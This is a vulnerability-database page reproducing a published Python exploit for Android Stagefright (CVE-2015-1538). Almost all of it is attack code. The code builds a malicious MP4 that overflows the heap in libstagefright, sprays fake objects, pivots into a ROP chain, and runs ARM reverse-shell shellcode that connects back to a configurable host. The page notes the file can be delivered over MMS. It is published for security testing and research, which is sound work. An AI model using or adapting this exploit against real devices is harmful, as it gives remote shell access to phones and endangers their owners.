Lucene search
K

Android Stagefright Remote Code Execution

🗓️ 10 Sep 2015 00:00:00Reported by jduckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 78 Views

Android Stagefright Remote Code Execution CVE-2015-1538 #1 Integer Overflow in libstagefright MP4 ‘stsc’ atom handling. Exploit creates MP4 atom for RCE vulnerability. 'stco' 'stsz' 'stts' 'stsc' chunk triggering heap overflow. Build ROP chain for RCE

Related
Code
`#!/usr/bin/env python  
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs  
# Shout outs to our friends at Optiv (formerly Accuvant Labs)  
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015  
# www.zimperium.com  
#  
# Exploit for RCE Vulnerability CVE-2015-1538 #1  
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling  
#  
# Don’t forget, the output of “create_mp4” can be delivered many ways!  
# MMS is the most dangerous attack vector, but not the only one…  
#  
# DISCLAIMER: This exploit is for testing and educational purposes only. Any  
# other usage for this code is not allowed. Use at your own risk.  
#  
# “With great power comes great responsibility.” – Uncle Ben  
#  
import struct  
import socket  
#  
# Creates a single MP4 atom – LEN, TAG, DATA  
#  
def make_chunk(tag, data):  
if len(tag) != 4:  
raise ‘Yo! They call it “FourCC” for a reason.’  
ret = struct.pack(‘>L’, len(data) + 8)  
ret += tag  
ret += data  
return ret  
#  
# Make an ‘stco’ atom – Sample Table Chunk Offets  
#  
def make_stco(extra=”):  
ret = struct.pack(‘>L’, 0) # version  
ret += struct.pack(‘>L’, 0) # mNumChunkOffsets  
return make_chunk(‘stco’, ret+extra)  
#  
# Make an ‘stsz’ atom – Sample Table Size  
#  
def make_stsz(extra=”):  
ret = struct.pack(‘>L’, 0) # version  
ret += struct.pack(‘>L’, 0) # mDefaultSampleSize  
ret += struct.pack(‘>L’, 0) # mNumSampleSizes  
return make_chunk(‘stsz’, ret+extra)  
#  
# Make an ‘stts’ atom – Sample Table Time-to-Sample  
#  
def make_stts():  
ret = struct.pack(‘>L’, 0) # version  
ret += struct.pack(‘>L’, 0) # mTimeToSampleCount  
return make_chunk(‘stts’, ret)  
#  
# This creates a single Sample Table Sample-to-Chunk entry  
#  
def make_stsc_entry(start, per, desc):  
ret = ”  
ret += struct.pack(‘>L’, start + 1)  
ret += struct.pack(‘>L’, per)  
ret += struct.pack(‘>L’, desc)  
return ret  
#  
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk  
#  
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and  
# cause a heap overflow.  
#  
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):  
ret = struct.pack(‘>L’, 0) # version/flags  
# this is the clean version…  
if not do_overflow:  
ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets  
ret += ‘Z’ * (12 * num_alloc)  
return make_chunk(‘stsc’, ret)  
  
# now the explicit version. (trigger the bug)  
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets  
# fill in the entries that will overflow the buffer  
for x in range(0, num_write):  
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)  
  
ret = make_chunk(‘stsc’, ret)  
  
# patch the data_size  
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]  
  
return ret  
  
#  
# Build the ROP chain  
#  
# ROP pivot by Georg Wicherski! Thanks!  
#  
“””  
(gdb) x/10i __dl_restore_core_regs  
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34  
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}  
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}  
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}  
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}  
“””  
“””  
b0001144 <__dl_mprotect>:  
b0001144: e92d0090 push {r4, r7}  
b0001148: e3a0707d mov r7, #125 ; 0x7d  
b000114c: ef000000 svc 0x00000000  
b0001150: e8bd0090 pop {r4, r7}  
b0001154: e1b00000 movs r0, r0  
b0001158: 512fff1e bxpl lr  
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>  
“””  
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):  
rop = ”  
rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp  
rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc}  
rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}  
  
rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)  
rop += struct.pack(‘<L’, 0x1000) # new r1 – length  
rop += struct.pack(‘<L’, 7) # new r2 – protection  
rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch  
rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch  
rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect  
  
native_start = sp_addr + 0x80  
rop += struct.pack(‘<L’, native_start) # address of native payload  
#rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack…  
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)  
buf = ”  
# fork  
buf += ‘\x02\x70\xa0\xe3’  
buf += ‘\x00\x00\x00\xef’  
# continue if not parent…  
buf += ‘\x00\x00\x50\xe3’  
buf += ‘\x02\x00\x00\x0a’  
# exit parent  
buf += ‘\x00\x00\xa0\xe3’  
buf += ‘\x01\x70\xa0\xe3’  
buf += ‘\x00\x00\x00\xef’  
# setsid in child  
buf += ‘\x42\x70\xa0\xe3’  
buf += ‘\x00\x00\x00\xef’  
# socket/connect/dup2/dup2/dup2  
buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’  
buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’  
buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’  
buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’  
buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’  
buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’  
buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’  
buf += ‘\xe3\x00\x00\x00\xef’  
# execve(shell, argv, env)  
buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’  
buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’  
buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’  
buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’  
buf += ‘\xef\x02\x00’  
# Add the connect back host/port  
buf += struct.pack(‘!H’, cb_port)  
cb_host = socket.inet_aton(cb_host)  
buf += struct.pack(‘=4s’, cb_host)  
# shell –  
buf += ‘/system/bin/sh\x00\x00’  
# argv –  
buf += ‘sh\x00\x00’  
# env –  
buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’  
  
# Add some identifiable stuff, just in case something goes awry…  
rop_start_off = 0x34  
x = rop_start_off + len(rop)  
while len(rop) < 0x80 – rop_start_off:  
rop += struct.pack(‘<L’, 0xf0f00000+x)  
x += 4  
  
# Add the native payload…  
rop += buf  
  
return rop  
  
#  
# Build an mp4 that exploits CVE-2015-1538 #1  
#  
# We mimic meow.3gp here…  
#  
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):  
chunks = []  
  
# Build the MP4 header…  
ftyp = ‘mp42’  
ftyp += struct.pack(‘>L’, 0)  
ftyp += ‘mp42’  
ftyp += ‘isom’  
chunks.append(make_chunk(‘ftyp’, ftyp))  
  
# Note, this causes a few allocations…  
moov_data = ”  
moov_data += make_chunk(‘mvhd’,  
struct.pack(‘>LL’, 0, 0x41414141) +  
(‘B’ * 0x5c) )  
  
# Add a minimal, verified trak to satisfy mLastTrack being set  
moov_data += make_chunk(‘trak’,  
make_chunk(‘stbl’,  
make_stsc(0x28, 0x28) +  
make_stco() +  
make_stsz() +  
make_stts() ))  
  
# Spray the heap using a large tx3g chunk (can contain binary data!)  
“””  
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs  
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0  
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1  
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4  
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement  
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1  
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>  
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase  
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr  
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address  
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6  
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!  
“””  
page = ”  
off = 0 # the offset to the next object  
off += 8  
page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource)  
page += struct.pack(‘<L’, sp_addr + off) # mRefs  
off += 16  
page += struct.pack(‘<L’, 1) # mStrong  
page += struct.pack(‘<L’, 0xc0dedbad) # mWeak  
page += struct.pack(‘<L’, sp_addr + off) # mBase  
page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK)  
off += 8  
page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase  
page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused)  
off += 16  
page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0  
page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4  
page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8  
page += struct.pack(‘<L’, newpc_val) # vtable entry 12  
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)  
x = len(page)  
while len(page) < 4096:  
page += struct.pack(‘<L’, 0xf0f00000+x)  
x += 4  
  
off = 0x34  
page = page[:off] + rop + page[off+len(rop):]  
spray = page * (((2*1024*1024) / len(page)) – 20)  
moov_data += make_chunk(‘tx3g’, spray)  
block = ‘A’ * 0x1c  
bigger = ‘B’ * 0x40  
udta = make_chunk(‘udta’,  
make_chunk(‘meta’,  
struct.pack(‘>L’, 0) +  
make_chunk(‘ilst’,  
make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +  
make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +  
make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +  
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +  
make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +  
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +  
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +  
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +  
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))  
)  
)  
moov_data += udta  
  
# Make the nasty trak  
tkhd1 = ”.join([  
‘\x00’, # version  
‘D’ * 3, # padding  
‘E’ * (5*4), # {c,m}time, id, ??, duration  
‘F’ * 0x10, # ??  
struct.pack(‘>LLLLLL’,  
0x10000, # a00  
0, # a01  
0, # dx  
0, # a10  
0x10000, # a11  
0), # dy  
‘G’ * 0x14  
])  
  
trak1 = ”  
trak1 += make_chunk(‘tkhd’, tkhd1)  
  
mdhd1 = ”.join([  
‘\x00’, # version  
‘D’ * 0x17, # padding  
])  
  
mdia1 = ”  
mdia1 += make_chunk(‘mdhd’, mdhd1)  
mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)  
  
dinf1 = ”  
dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)  
  
minf1 = ”  
minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)  
minf1 += make_chunk(‘dinf’, dinf1)  
  
# Build the nasty sample table to trigger the vulnerability here.  
stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER  
  
# Add the stbl to the minf chunk  
minf1 += make_chunk(‘stbl’, stbl1)  
  
# Add the minf to the mdia chunk  
mdia1 += make_chunk(‘minf’, minf1)  
  
# Add the mdia to the track  
trak1 += make_chunk(‘mdia’, mdia1)  
  
# Add the nasty track to the moov data  
moov_data += make_chunk(‘trak’, trak1)  
  
# Finalize the moov chunk  
moov = make_chunk(‘moov’, moov_data)  
chunks.append(moov)  
  
# Combine outer chunks together and voila.  
data = ”.join(chunks)  
  
return data  
  
if __name__ == ‘__main__’:  
import sys  
import mp4  
import argparse  
  
def write_file(path, content):  
with open(path, ‘wb’) as f:  
f.write(content)  
  
def addr(sval):  
if sval.startswith(‘0x’):  
return int(sval, 16)  
return int(sval)  
  
# The address of a fake StrongPointer object (sprayed)  
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)  
  
# The address to of our ROP pivot  
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs  
  
# Allow the user to override parameters  
parser = argparse.ArgumentParser()  
parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)  
parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)  
parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)  
parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)  
parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)  
args = parser.parse_args()  
  
if len(sys.argv) == 1:  
parser.print_help()  
sys.exit(–1)  
  
if args.spray_addr == None:  
args.spray_addr = sp_addr  
if args.rop_pivot == None:  
args.rop_pivot = newpc_val  
  
# Build the MP4 file…  
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)  
print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)  
write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation